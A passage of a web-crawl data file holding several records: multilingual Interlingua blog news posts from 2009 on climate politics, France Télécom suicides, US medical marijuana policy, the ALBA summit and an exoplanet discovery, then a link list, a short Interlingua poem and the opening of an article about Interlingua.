que formas como \"va (a) traducer\"--que indica le futuro in espaniol, portugese, e interlingua--indica le passato [preterito] in catalan):\n……………\nLas prácticas culturales que durante siglos han aplicado los pueblos indígenas, que tienen la costumbre de enterrar materia orgánica para mejorar la fertilidad de los suelos, fueron señaladas por el ex-vicepresidente de Estados Unidos Al Gore, como una manera excelente para promover una agricultura sustentable.\nLes pràctiques culturals que durant segles han aplicat els pobles indígenes, que tenen el costum d'enterrar matèria orgànica per millorar la fertilitat dels sòls, van ser assenyalades per l'ex-vicepresident dels Estats Units Al Gore, com una manera excel lent per promoure una agricultura sostenible .\n---\nLa idea de \"terra preta\" (tierra negra en portugués) fue una de las ideas centrales de una conferencia reciente de la Federação das Indústrias do Estado de São Paulo (FIESP).\nLa idea de \"terra preta\" (terra negra en portuguès) va ser una de les idees centrals d'una conferència recent de la Federação das Indústrias do Estado de São Paulo (FIESP).\n---\nAl Gore también volvió a llamar la atención de los participantes en la conferencia sobre lo que definió como \"la crisis climática, que representa una emergencia planetaria y un desafío a nuestras capacidades morales\", destacando que aún existen tres grandes problemas que nos confronta.\nAl Gore també va tornar a cridar l'atenció dels participants en la conferència sobre el que va definir com \"la crisi climàtica, que representa una emergència planetària i un desafiament a les nostres capacitats morals\", destacant que encara hi ha tres grans problemes que ens confronta.\n---\nLa humanidad, dice Gore, enfrenta un explosivo aumento poblacional. \"En los últimos 100 años\", dijo, \"la población mundial pasó de 1.600 millones de habitantes a 6.800 millones de seres humanos\".\nLa humanitat, diu Gore, enfronta un explosiu augment poblacional. \"En els últims 100 anys\", va dir, \"la població mundial va passar de 1.600 milions d'habitants a 6.800 milions d'éssers humans\".\n---\nOtros problemas son las nuevas tecnologías \"que son un millón de veces más ponderosas\", como en el ejemplo de las armas nucleares y, sobre todo, en algunas características del \"pensamiento moderno\", que en general no puede contemplar seriamente horizontes a largo plazo en la política, la economía, la cultura y los medios de comunicación.\nAltres problemes són les noves tecnologies \"que són un milió de vegades més poderoses\", com és l'exemple de les armes nuclear i sobretot algunes característiques del \"pensament modern, que contempla horitzons de curt termini, tant en política, economia, cultura i també en els mitjans \".\n---\nTambién manifestó Gore su admiración por el programa brasileño de biocombustibles y felicitó a la industria , diciendo que en su próximo libro, \"Our Choices\", incluirá fotos de la producción de etanol.\nTambé va manifestar Gore seva admiració pel programa brasiler de biocombustibles i felicitar a la indústria, dient que en el seu pròxim llibre, \"Our Choices\", inclourà fotografies de la producció d'etanol.\n---\nAl fin de la conferencia de la la Federação das Indústrias do Estado de São Paulo, Gore, recibió la Orden del Mérito Industrial de la FIESP y felicitó a los brasileños por la elección de Río de Janeiro como sede de los Juegos Olímpicos de 2016.\nA la fi de la conferència de la la Federação das Indústrias do Estado de São Paulo, Gore, va rebre l'Ordre del Mèrit Industrial de la FIESP i va felicitar els brasilers per l'elecció de Rio de Janeiro com a seu dels Jocs Olímpics de 2016.\nPosted by hkyson at 2:54 PM\nSaturday, October 24, 2009\n(Languages of this post: Interlingua, Portuguese, English)\nUn unda de suicidios in un del plus grande companias francese ha provocate discussiones in le pais sur le \"choc cultural\" inter le valores traditional del sector public del pais e competition adoptate post processos de privatisation.\nLe prime choc suffrite per le France Télécom occurreva in 1998, con le apertura del mercato francese de telecommunicationes al competition, a causa de un directiva europee.\nLe secunde grande transformation esseva in septembre, 2004, quando le compania esseva privatisate, 115 annos post haber essite nationalisate.\nLe empleatos del compania historic de telephonia, qui esseva functionarios public durante plus que un seculo, se ha transformate in le ultime annos in agentes commercial e ha debite suffrer pressiones constante del direction pro augmentar le numero de lor venditas.\nPro confrontar le competition, le direction del compania creava un plano de restructuration que obliga le functionarios a cambiar servicios, executar nove functiones, e esser transferite a altere areas geographic.\nPost le vintessime quinte suicidio in minus que duo annos e anque 15 altere suicidios attentate per altere empleatos, le direction de France Télécom annunciava le suspension de omne le restructurationes usque le 31 de decembre.\nIn septembre, le gruppo jam habeva annunciate le congelamento, anque usque le fin del anno, del transferentia obligatori de travaliatores a altere regiones.\nLe problemas del empleatos esseva augmentate per le introduction del competition individual in relation al objectivos de venditas. \"Illo ha injuriate le solidaritate inter le collegas\", diceva le economista Thomas Coutreau, qui travalia con questiones de sanitate in le empleo in le Ministerio Francese del Travalio.\nLe empleatos qui occupa positiones de commando in France Télécom anque suffre pressiones del alte direction pro demitter functionarios qui non executa ben lor servicios. Le gruppo dimitteva 22 mille travaliatores inter 2005 e 2008.\n\"Ante trenta o quaranta annos, il non habeva suicidios al travalio. Lor apparentia ha ligamines al manco de solidaritate inter travaliatores e le practica del evaluation de travaliatores individual\", diceva le psychoanalysta Cristophe Dejours, le co-autor del libro \"Suicidio e travalio, que facer?\"\nLe problema de suicidios in le compania eveliava le societate francese e comenciava a producer nove pressiones sur France Télécom.\nInter le paises ric, Francia possede un del plus alte taxas annual de suicidio, de 19,6 pro 100 mille habitantes.\n---\nUma onda de suicídios numa das maiores empresas francesas vem levando o país a discutir o \"choque cultural\" entre os valores tradicionais do setor público do país e problemas da competição adotada após processos de privatização.\nO primeiro choque sofrido pela France Télécom ocorreu em 1998, com a abertura do mercado francês de telecomunicações à concorrência, por determinação de uma diretiva europeia.\nA segunda grande transformação foi em setembro de 2004, quando a empresa foi privatizada, 115 anos após ter sido nacionalizada.\nOs empregados da operadora histórica de telefonia, que foram funcionários públicos durante mais de um século, se transformaram nos últimos anos em agentes comerciais e passaram a sofrer pressões constantes da direção em relação ao desempenho das vendas.\nPara enfrentar a concorrência, a direção da empresa criou um plano de restruturação que vem obrigando os funcionários a mudar de serviço, desempenhar novas funções e serem transferidos para outras áreas geográficas.\nApós o 25° suicídio em menos de dois anos, além de 15 tentativas de outros empregados de pôr fim à vida, a direção da France Télécom anunciou a suspensão de todas as reestruturações até o dia 31 de dezembro.\nEm setembro, o grupo já havia anunciado o congelamento, também até o final do ano, da transferência obrigatória de trabalhadores para outras regiões.\nOs problemas dos trabalhadores foram aumentados pela instauração de uma competição individual, em relação a metas de vendas. \"Isso minou a solidariedade entre os colegas\", disse o economista Thomas Coutreau, que lida com questões de saúde no emprego no Ministério Francês do Trabalho.\nOs empregados que ocupam cargos de chefia na France Télécom também sofrem pressões da alta direção para demitir funcionários que não têm bom desempenho. O grupo demitiu 22 mil trabalhadores entre 2005 e 2008.\n\"Há 30 ou 40 anos, não havia suicídios no trabalho. O aparecimento desta está ligada à falta de solidariedade entre os trabalhadores e a prática da avaliação de cada trabalhador\", disse o psicanalista Christophe Dejours, co-autor do livro \"Suicídio e Trabalho, O que fazer?\"\nO problema dos suicídios na companhia despertou a sociedade francesa e começou a produzir novas pressões sobre a direção da France Télécom.\nEntre os países ricos, a França possui uma das mais altas taxas anuais de suicídios, de 19,6 por 100 mil habitantes.\n---\nA wave of suicide in one of the largest French companies has led the country to discuss the \"culture clash\" between the traditional values of the public sector in the country and problems of competition after the company was privatized.\nThe first shock suffered by France Telecom occurred in 1998 with the opening of the French telecommunications market to competition mandated by a European policy directive.\nThe second big change was in September 2004, when the company was privatized, 115 years after it was nationalized.\nEmployees of the historic telephone operator, who were civil servants for more than a century, have become sales agents in recent years and have come under constant pressure from management to increase the number of their sales.\nTo meet competition, the company's management created a restructuring plan that is forcing employees to change jobs, perform new tasks, and be transferred to other geographical areas.\nAfter the 25th suicide in less than two years, and also attempted suicides by fifteen other employees, the management of France Telecom announced the suspension of all restructuring until December 31.\nIn September, the group had already announced a suspension of compulsory transfers of workers to other regions, also until the end of the year.\nThe problems of the employees got worse with the introduction of individual competition in relation to sales targets. \"This has undermined colleague solidarity,\" said economist Thomas Coutreau, who deals with health issues in employment in the French Ministry of Labor.\nEmployees who occupy positions of leadership in France Télécom are also under pressure from top management to get rid of employees who do not perform well. The group fired 22,000 employees between 2005 and 2008.\n\"Thirty or forty years ago, there were no suicides at work. Its appearance is linked to the lack of solidarity among workers and the practice of individual worker evaluations,\" says the psychoanalyst Christophe Dejours, co-author of \"Suicide and Work, What can be done?\"\nThe problem of suicides in the company aroused French society and started to produce new pressures on the management of France Télécom.\nAmong rich countries, France has one of the highest annual rates of suicide: 19.6 per 100 thousand inhabitants.\nPosted by hkyson at 7:29 PM\nFriday, October 23, 2009\nIl non habera un \"Plan B\" si Copenhagen non produce un accordo sur le calefaction mundial (Gordon Brown).\n(Languages of this post: Interlingua, Spanish, English)\n\"Si Copenhagen non produce un accordo sur le calefaction global, il non habera un 'Plan B'\", dice Gordon Brown, le prime ministro britannic.\nBrown diceva que le personas qui negotia un accordo global sur le cambio climatic ha minus que 50 dies pro prevenir un calentamento global, o il habera consequentias grave.\nIn un discurso in London in le Foro del Grande Economias ante le representantes del 17 emissores le plus grande de bioxido de carbon, Brown preveniva del consequentias \"catastrophic\" que poterea occurrer si on non arriva a un accordo in decembre durante le conferentia al cumine del Nationes Unite sur le cambio climatic in Copenhagen.\nBrown diceva que le negotiationes non sta a advantiar a un rhythmo rationabile e exigeva que le leaders mundial se committe seriemente e rumpe le impasse.\nAl mesme tempore, le gruppo ecologic Fundo Mundial pro le Natura (WWF in su acronymo in anglese) in Australia preveniva de un cambio climatic que esserea foras de controlo in le proxime cinque a dece annos si le emissiones de bioxido de carbon non se reduce drasticamente.\nSecundo Brown, \"Si on non arriva a un accordo, le damno del emissiones discontrolate non potera esser reparate con un accordo retroactive in le futuro. Il non ha un Plan B\".\n\"Le mundo confrontara conflictos plus serie alimentate per le migration que provocara le cambio climatic\", diceva Brown, \"e 1.800 milliones de personas poterea suffrer de un manco de aqua\".\n---\n\"Si Copenhagen no produce un acuerdo sobre la calefacción global\", no habrá un 'Plan B'\", dice Gordon Brown, el primer ministro británico.\nBrown dijo que los negociadores de un acuerdo global sobre el cambio climático tienen menos de 50 días para prevenir un calentamiento global, o habrá consecuencias graves.\nEn un discurso en Londres en el Foro de las Grandes Economías ante los representantes de los 17 mayores emisores de dióxido de carbon, Brown advirtió de las consecuencias \"catastróficas\" que podrían sobrevenir si no se alcanza un acuerdo en diciembre con ocasión de la cumbre de Naciones Unidas sobre cambio climático en Copenhague.\nBrown dijo que las negociaciones no están avanzando a buen ritmo, e hizo un llamamiento a los líderes mundiales para que se comprometan en forma directa y quiebren el impasse.\nAl mismo tiempo, el grupo ecológico Fondo Mundial para la Naturaleza (WWF, por sus siglas en inglés) en Australia advirtió de un cambio climático que quedaría fuera de control en los próximos cinco a diez años, si no se recortan drásticamente las emisiones de CO2.\nDe acuerdo con Brown, \"Si no se alcanza un acuerdo, el daño de las emisiones descontroladas no podrá ser reparado con un acuerdo retroactivo futuro. No hay Plan B\".\n\"El mundo enfrentará más conflictos muy serios alimentados por la migración que provocará el cambio climatic\", dijo Brown, \"y 1.800 millones de personas podrían sufrir de escasez de agua\".\n---\n\"If Copenhagen does not produce an agreement on global warming, \"there will not be any 'Plan B',\" says Gordon Brown, the British prime minister.\nBrown said that the people negotiating a global agreement on climate change have less than fifty days to prevent global warming, or there will be serious consequences.\nIn a speech in London before representatives of the seventeen largest emitters of carbon dioxide at the Major Economies Forum, Brown warned of \"catastrophic\" consequences that might ensue if an agreement is not reached in December at a United Nations summit on climate change in Copenhagen.\nBrown said that the negotiations are not proceeding very steadily, and called on world leaders to make a commitment to break the impasse.\nAt the same time, the environmental group World Wildlife Fund (WWF) in Australia warned that climate change would be out of control in the next five to ten years if CO2 emissions are not drastically reduced.\nAccording to Brown, \"If no agreement is reached, it will not be possible to repair damage from uncontrolled emissions with a retroactive future agreement. There is no Plan B.\"\n\"The world will face more serious conflicts fueled by migration provoked by climatic change,\" Brown said, \"and 1.8 billion people could suffer water shortages.\"\nPosted by hkyson at 1:40 PM\n(Languages of this post: Interlingua, Portuguese, English)\nLe governamento del Statos Unite annunciava que illo non va a arrestar le usatores e le fornitores de marijuana pro fines medic si illes obedi al leges statal.\nIste decision del governamento de Obama nullifica un politica del administration Bush, que non recognosceva le validitate del leges statal del marijuana pro uso medic.\nLe cambio esseva includite in un memorandum de tres paginas que essera inviate al dece e quatro statos ubi on permitte le uso de marijuana medic, tanto como al FBI e DEA (agentia antidrogas del Statos Unite).\nActualmente, le statos de Alaska, California, Colorado, Hawaii, Maine, Maryland, Michigan, Montana, Nevada, New Mexico, Oregon, Rhode Island, Vermont, e Washington permitte le uso de marijuana pro fines medic.\n---\nO governo dos Estados Unidos anunciou que não vai prender os usuários e fornecedores de maconha para fins médicos desde que eles obedeçam às leis estaduais.\nEsta decisão do governo de Obama anula uma política da administração Bush, que não reconheceu a validade das leis estaduais para a legalização da maconha para uso médico.\nA mudança foi incluída em um memorando de três páginas que será enviado para os 14 Estados onde o uso medicinal da maconha é permitido bem como às autoridades do FBI e da DEA (agência antidrogas dos Estados Unidos).\nAtualmente os Estados de Alasca, Califórnia, Colorado, Havaí, Maine, Maryland, Michigan, Montana, Nevada, Novo México, Oregon, Rhode Island, Vermont e Washington permitem o uso da maconha para fins médicos.\n---\nThe United States government announced that it will not arrest the users and suppliers of marijuana for medical purposes as long as they comply with state laws.\nThis decision by the Obama administration nullifies a Bush administration policy which did not recognize the validity of state laws for the legalization of marijuana for medical use.\nThe change was included in a three-page memorandum that will be sent to the fourteen states where the medical use of marijuana is allowed as well as to the FBI and DEA (Drug Enforcement Administration of the United States of America).\nCurrently the states of Alaska, California, Colorado, Hawaii, Maine, Maryland, Michigan, Montana, Nevada, New Mexico, Oregon, Rhode Island, Vermont, and Washington allow the use of marijuana for medical purposes.\nPosted by hkyson at 4:51 AM\n(Languages of this post: Interlingua, Spanish, English)\nLe septime conferentia al summitate del Alliantia Boliviarian pro le Americas (ALBA) claudeva iste sabato in Cochabamba con le determination de reimplaciar le dollar in intercambio commercial e con le approbation de sanctiones economic contra le governamento de facto de Honduras.\nLe nationes del ALBA non poteva arrivar a un accordo sur le establimento de un alliantia militar, que Hugo Chávez vole formar. Chávez vole un tal alliantia a causa del aggression militar contra Nicaragua per le Statos Unite e le intervention del CIA in altere statos del America latin durante le seculo vinti.\n\"Proque No? Qui pote prohiber que paises soveran face un alliantia militar defensive?\", diceva Chávez in le secunde e ultime session del summitate.\nLe presidente Evo Morales non esseva de accordo con le proposition de facer \"un resolution accelerate\" e demandava un studio del thema.\nLe nationes del ALBA affirmava lor approbation del institutiones socialiste del revolution bolivarian e exprimeva lor preoccupation con le imperialismo del conservativos statounitese e le expandite presentia militar statounitese in Colombia.\nPost un breve debatto sur le importantia de relationes commercial, le presidentes e representantes del membros del ALBA signava le tractato constitutive del Systema Unificate de Compensation Regional (SUCRE) que aspira a reimplaciar le dollar in le intercambio commercial inter le paises del region.\nIn le futuro, le membros del bloco intende converter iste eystema in un moneta, como occurreva in le Union Europee.\nIllo es un passo importante pro le soveranitate de nostre populos pro liberar nos del dictatura del dollar, del dictatura neoliberal del Statos Unite, e del domination del companias transnational\", diceva le presidente Venezuelan, Hugo Chávez.\nDurante le conferentia, Chávez exigeva que Obama demonstrava que ille vermente merita le Premio Nobel del pace pro terminar le embargo commercial contra Cuba.\n---\nLa séptima cumbre de la Alianza Bolivariana para las Américas (ALBA) cerró este sábado en Cochabamba con la determinación de sustituir al dólar en el intercambio comercial y con la aprobación de sanciones económicas en contra del gobierno de facto de Honduras.\nLas naciones del ALBA no pudieron ponerse de acuerdo sobre el establecimiento de una alianza militar, que Hugo Chávez quiere formar. Chávez quiere formar tal alianza a causa de la agresión militar contra Nicaragua en el pasado por los Estados Unidos y la intervención de la CIA en otros Estados de América Latina durante el siglo veinte.\n\"¿Por qué no? ¿Quién puede prohibir a países soberanos hacer una alianza militar defensiva?\", dijo Chávez en la segunda y última sesión de la Cumbre del ALBA.\nEl presidente Evo Morales discrepó con la propuesta de hacer \"una resolución acelerada\" y pidió estudiar el tema.\nLas naciones del ALBA afirmaron su aprobación de las instituciones socialistas de la revolución bolivariana y expresaron su preocupación por el imperialismo de los conservadores estadounidenses como se ha revelado en el golpe de estado en Nicaragua, por ejemplo, y la ampliación de la presencia militar estadounidense en Colombia.\nLuego de un corto debate sobre la importancia de relaciones comerciales, los presidentes y representantes de los miembros del ALBA firmaron el tratado constitutivo del Sistema Unificado de Compensación Regional (SUCRE), que pretende reemplazar al dólar en el intercambio comercial entre los países de la región.\nEn el futuro, los miembros del bloque pretenden convertir a este sistema en una moneda, tal como ocurrió en la Unión Europea.\n\"Es un paso importante para la soberanía de nuestros pueblos para liberarnos de la dictadura del dólar, de la dictadura neoliberal de los Estados Unidos y de la dominación de las empresas transnacionales\", dijo el presidente venezolano, Hugo Chávez.\nDurante la cumbre, Chávez exigió que Obama demostrara que realmente merece el Premio Nobel de la Paz por el levantamiento del embargo comercial contra Cuba.\n---\nThe seventh summit of the Bolivarian Alliance for the Americas (BAA) closed on Saturday in Cochabamba determined to replace the dollar in trade and the adoption of economic sanctions against the de-facto government of Honduras.\nThe BAA nations could not agree on establishing a military alliance, which Hugo Chávez wanted to form. Chavez wanted a military alliance because of past military aggression against Nicaragua by the United States and CIA intervention in other Latin American states during the twentieth century.\n\"Why not? Who can keep sovereign countries from making a defensive military alliance?\" Chavez said in the second and final session of the BAA Summit.\nPresident Evo Morales disagreed with the proposal to make a \"rapid resolution\" and asked to study the issue.\nThe BAA nations affirmed their approval of the socialist institutions of the Bolivarian revolution and expressed concern about the imperialism of American conservatives as revealed in in the coup d'etat in Nicaragua, for example, and the expanded American military presence in Colombia.\nAfter a short discussion about the importance of trade relations, the presidents and representatives of the BAA countries signed the treaty establishing the Unified Regional Compensation System, (SUCRE according to its Spanish and Portuguese acronym) that aims to replace the dollar in trade between the countries of the region.\nIn the future, the bloc's members intend to convert this system into a currency, as occurred in the European Union.\n\"It is an important step towards the sovereignty of our peoples to liberate ourselves from the dictatorship of the dollar, the neoliberal dictatorship of the United States, and the domination of transnational corporations,\" said Venezuelan President Hugo Chávez.\nDuring the summit, Chavez demanded that Obama demonstrate that he really deserves the Nobel Peace Prize by lifting the Cuban trade embargo.\nPosted by hkyson at 1:02 AM\nThursday, October 22, 2009\n(Languages of this post: Interlingua, Spanish, Portuguese, Italian, English)\nLe planeta le plus parve que se ha trovate usque nunc foras del systema solar--un mundo roccose que ha quasi le duple del grandor del terra--esseva detegite per un telescopio spatial francese.\nUsque nunc, le gran majoritate del gruppo de exoplanetas que se ha discoperite es gigantes de gas, simile a Jupiter o a Neptuno.\nLe discoperimento esseva facite per Corot, un observatorio in orbita que ha un telescopio de 27 centimetros de diametro designate pro cercar planetas que orbita altere stellas.\n\"Pro le prime vice nos ha detegite un exoplaneta que es 'roccose' como nostre terra\", diceva Malcolm Fridlund, un scientista del projecto Corot del Agentia Spatial Europee (ASE).\nLe nove discoperimento, Corot-Exo-7b, ha un diametro que es quasi le duple a illo del terra, e illo orbita un stella como le sol cata vinti horas.\nComo su orbita se trova multo proxime a su stella, su superficie es multo calide, con temperaturas inter 1.000 e 1.500 grados Celsius, e illo es troppo calide pro albergar le vita.\nLe grande majoritate del exoplanetas ha essite discoperite proque illos es sufficientemente massive pro haber un influentia gravitational sur su stellas que pote esser detegite. Iste nove planeta esseva discoperite proque illo esseva visibile como un silhouette durante que illo viagiava circum su stella matre.\nIan Roxburgh, professor de astronomia del Universitate de London, diceva que toto pare indicar que il ha un altere planeta orbitante circum ille stella que es multo simile a Neptuno.\nLe mission Corot es dirigite per le Agentia Spatial Francese, con contributiones de Austria, Belgica, Germania, Espania, e Brasil. Su objectivos primordial es cercar exoplanetas e studiar le interior del stellas.\n---\nEl planeta más pequeño que se ha encontrado hasta ahora fuera del Sistema Solar--un mundo rocoso que tiene casi el doble del tamaño de la Tierra--fue detectado por un telescopio espacial francés.\nHasta ahora, la mayoría de los exoplanetas que se han discobierto son gigantes de gas, similares a Júpiter o Neptuno.\nEl descubrimiento fue hecho por Corot, un observatorio en órbita que tiene un telescopio de 27 centímetros de diámetro diseñado para buscar planetas que orbiten en otras estrellas.\n\"Por primera vez, hemos detectado un exoplaneta que es 'rocoso' como nuestra Tierra\", dijo Malcolm Fridlund, científico del proyecto Corot de la Agencia Espacial Europea (AEE).\nEl nuevo descubrimiento, Corot-Exo-7b, tiene un diámetro que es casi el doble al de la Tierra y le da la vuelta a una estrella como el sol cada veinte horas.\nDebido a que su órbita está muy cerca de su estrella, su superficie es muy caliente, con temperaturas entre 1.000 y 1.500 grados Celsius, y es demasiado caliente para albergar la vida.\nLa gran mayoría de los exoplanetas han sido descubiertos porque son lo suficientemente masivos para tener una influencia gravitatoria en sus estrellas que puede ser detectado. Este nuevo planeta fue descubierto porque fue visible como una silueta mientras que viajó a través de su estrella madre.\nIan Roxburgh, profesor de astronomía de la Universidad de Londres, dijo que todo parece indicar que hay otro planeta orbitando alrededor de esa estrella que es muy semejante a Neptuno.\nLa misión Corot está dirigida por la Agencia Espacial Francesa, con contribuciones de Austria, Bélgica, Alemania, España y Brasil. Sus objetivos primordiales son buscar exoplanetas y estudiar el interior de las estrellas.\n---\nO menor planeta encontrado até agora fora do sistema solar--um mundo rochoso que é quase o dobro do tamanho da Terra--foi detectado por um telescópio espacial francesa.\nAté agora, a maioria dos exoplanetas discobiertos até agora são gigantes gasosos semelhantes a\nJúpiter e Netuno.\nA descoberta foi feita pelo Corot, um observatório em órbita que tem um telescópio 27 centímetros de diâmetro, desenhado para encontrar planetas orbitando outras estrelas.\n\"Pela primeira vez, descobrimos um exoplaneta que é rochoso como a nossa Terra\", disse Malcolm Fridlund, cientista do projecto Corot da Agência Espacial Europeia (AES).\nA nova descoberta, Corot-Exo-7b, tem um diâmetro que é quase o dobro da terra e orbita uma estrela como o sol a cada vinte horas.\nComo a sua órbita é muito próxima de sua estrela, sua superfície é muito quente, com temperaturas entre 1.000 e 1.500 graus Celsius, e é quente demais para hospedar a vida.\nA grande maioria dos exoplanetas foram descobertos porque são suficientemente maciços para ter uma influência gravitacional sobre as suas estrelas que pode ser detectada. Este novo planeta foi descoberto porque era visível como uma silhueta quando ele viajou através da estrela mãe.\nIan Roxburgh, professor de astronomia na Universidade de Londres, disse que parece que existe outro planeta orbitando a estrela que é muito semelhante a Neptuno.\nA missão Corot é liderada pela Agência Espacial Francesa, com as contribuições da Áustria, Bélgica, Alemanha, Espanha e Brasil. O seu principal objectivo é procurar exoplanetas e estudar o interior das estrelas.\n---\nIl più piccolo pianeta trovato finora al di fuori del sistema solare--un mondo roccioso le cui dimensioni sono quasi il doppio di quelle dell Terra--è stato rilevato da un telescopio spaziale francese.\nFino ad oggi, la maggior parte dei pianeti extrasolari scoperti sono giganti gassosi simili a Giove e Nettuno.\nLa scoperta è stata fatta da Corot, un osservatorio orbitante avente un telescopio 27 centimetri (circa dieci pollici e mezzo) di diametro, progettato per la ricerca di pianeti in orbita attorno ad altre stelle.\n\"Per la prima volta, abbiamo individuato un pianeta extrasolare che è 'roccioso' come la terra\", ha dichiarato Malcolm Fridlund, uno scienziato del progetto di Corot l'Agenzia spaziale europea (ESA).\nLa nuova scoperta, Corot-Exo-7b, ha un diametro che è quasi doppio rispetto a quello della Terra e orbita attorno a una stella simile al sole ogni venti ore.\nPoiché la sua orbita è molto vicino alla sua stella, la sua superficie è molto calda, con temperature comprese tra 1.000 e 1.500 gradi Celsius (1.832 e 2.732 gradi Fahrenheit), ossia troppo caldo per ospitare la vita.\nLa stragrande maggioranza dei pianeti extrasolari sono stati scoperti perché sono sufficientemente massicci di avere una influenza gravitazionale, che può essere rilevata sulle loro stelle. Questo nuovo pianeta fu scoperto perché era visibile come una silhouette mentre viaggiava attraverso la superficie della stella madre.\nIan Roxburgh, professore di astronomia presso l'Università di Londra, ha detto che sembra che ci sia un altro pianeta, molto simile a Nettuno, in orbita intorno alla stella.\nLa missione Corot è guidata dalla Agenzia spaziale francese, con contributi provenienti da Austria, Belgio, Germania, Spagna e Brasile. I suoi obiettivi primari sono la ricerca di pianeti extrasolari e lo studio dell'interno delle stelle.\n---\nThe smallest planet found so far outside the Solar System--a rocky world that is almost twice the size of Earth--was detected by a French space telescope.\nUp to now, the majority of the exoplanets that have been discovered are gas giants similar to Jupiter or Neptune.\nThe discovery was made by Corot, an orbiting observatory that has a telescope 27 centimeters (about ten and a half inches) in diameter designed to search for planets orbiting other stars.\n\"For the first time, we have detected an exoplanet that is 'rocky' the way the earth is,\" said Malcolm Fridlund, a scientist from the Corot project of the European Space Agency (ESA).\nThe new discovery, Corot-Exo-7b, has a diameter that is nearly twice that of the earth and orbits a star like the sun every twenty hours.\nBecause its orbit is very close to its star, its surface is very hot with temperatures between 1,000 and 1,500 degrees Celsius (1,832 and 2,732 degrees Fahrenheit), and it is too hot to harbor life.\nThe vast majority of exoplanets have been discovered because they are sufficiently massive to have a gravitational influence on their stars that can be detected. This new planet was discovered because it was visible as a silhouette as it traveled across the surface of its mother star.\nIan Roxburgh, professor of astronomy at the University of London, said it appears that there is another planet orbiting the star that is very similar to Neptune.\nThe Corot mission is led by the French Space Agency, with contributions from Austria, Belgium, Germany, Spain and Brazil. Its primary goals are to search for exoplanets and to study the interior of stars.\nPosted by hkyson at 4:28 AM","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/interlinguamultilingue.blogspot.com\/2009\/10\/","date":"2017-04-24T01:29:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118950.30\/warc\/CC-MAIN-20170423031158-00312-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.5897770524,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"ina_Latn_score\": 0.5897770524024963, \"por_Latn_score\": 0.09298650920391083, \"eng_Latn_score\": 0.07701051980257034, \"spa_Latn_score\": 0.03947944566607475, \"cbk_Latn_score\": 0.026930110529065132, \"ita_Latn_score\": 0.012961030937731266, \"ile_Latn_score\": 0.012774797156453133, \"srd_Latn_score\": 0.011939048767089844}","num_words":21817,"character_repetition_ratio":0.031,"word_repetition_ratio":0.018,"special_characters_ratio":0.194,"stopwords_ratio":0.03,"flagged_words_ratio":0.0,"lang_id_score":0.632,"perplexity_score":2428.0,"cluster_detection":-1} +{"text":"|Pavilion Construction in Alabama||Pavilion Construction in Alaska||Pavilion Construction in Arizona|\n|Pavilion Construction in Arkansas||Pavilion Construction in California||Pavilion Construction in Colorado|\n|Pavilion Construction in Connecticut||Pavilion Construction in Delaware||Pavilion Construction in District Of Columbia|\n|Pavilion Construction in Florida||Pavilion Construction in Georgia||Pavilion Construction in Hawaii|\n|Pavilion Construction in Idaho||Pavilion Construction in Illinois||Pavilion Construction in Indiana|\n|Pavilion Construction in Iowa||Pavilion Construction in Kansas||Pavilion Construction in Kentucky|\n|Pavilion Construction in Louisiana||Pavilion Construction in Maine||Pavilion Construction in Maryland|\n|Pavilion Construction in Massachusetts||Pavilion Construction in Michigan||Pavilion Construction in Minnesota|\n|Pavilion Construction in Mississippi||Pavilion Construction in Missouri||Pavilion Construction in Montana|\n|Pavilion Construction in Nebraska||Pavilion Construction in Nevada||Pavilion Construction in New Hampshire|\n|Pavilion Construction in New Jersey||Pavilion Construction in New Mexico||Pavilion Construction in New York|\n|Pavilion Construction in North Carolina||Pavilion Construction in North Dakota||Pavilion Construction in Ohio|\n|Pavilion Construction in Oklahoma||Pavilion Construction in Oregon||Pavilion Construction in Pennsylvania|\n|Pavilion Construction in Rhode Island||Pavilion Construction in South Carolina||Pavilion Construction in South Dakota|\n|Pavilion Construction in Tennessee||Pavilion Construction in Texas||Pavilion Construction in Utah|\n|Pavilion Construction in Vermont||Pavilion Construction in Virginia||Pavilion Construction in Washington|\n|Pavilion Construction in West Virginia||Pavilion Construction in Wisconsin||Pavilion Construction in Wyoming|","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/outdoorco.net\/pavilion-construction","date":"2017-06-25T20:43:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128320582.2\/warc\/CC-MAIN-20170625203122-20170625223122-00229.warc.gz","language":"ina","language_score":0.4349972606,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.4349972605705261, \"ile_Latn_score\": 0.28458136320114136, \"eng_Latn_score\": 0.08947421610355377, \"dag_Latn_score\": 0.04447010159492493, \"frp_Latn_score\": 0.023733383044600487}","num_words":416,"character_repetition_ratio":0.54,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.411,"perplexity_score":8206.3,"cluster_detection":-1} +{"text":"Amor crea Felicitate\nFelicitate crea Gaudio\nGaudio crea Energia\nEnergia crea Movimento\nMovimento crea Viages\nViages crea Experientias\nExperientias crea Cognoscentia\nCognoscentia crea Sapientia\nSapientia crea Comprension\nComprension crea Sagessa\nSagessa crea Pace\nPace crea Contemplation\nContemplation crea Auto-cognoscimento\nAuto-cognoscimento crea Cognoscentia del homines\nCognoscentia del homines crea Compassion\nCompassion crea Amor","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/poemasepensatas.blogspot.com\/2012\/01\/le-rota-de-amor.html","date":"2017-07-27T22:32:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549429548.55\/warc\/CC-MAIN-20170727222533-20170728002533-00447.warc.gz","language":"ina","language_score":0.9962306619,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.9962306618690491}","num_words":68,"character_repetition_ratio":0.106,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":26352.4,"cluster_detection":-1} +{"text":"Nos presenta InterlinguaEdit\nPer Ferenc Jeszensky\nIste articulo del prof. Ferenc Jeszensky presenta Interlingua per le medio de un ample analyse del situation linguistic in le mundo occidental, como e proque le linguas plus influente del cultura international acquireva lor forma actual. Depost haber describite le solutiones inadequate del linguas construite, ille 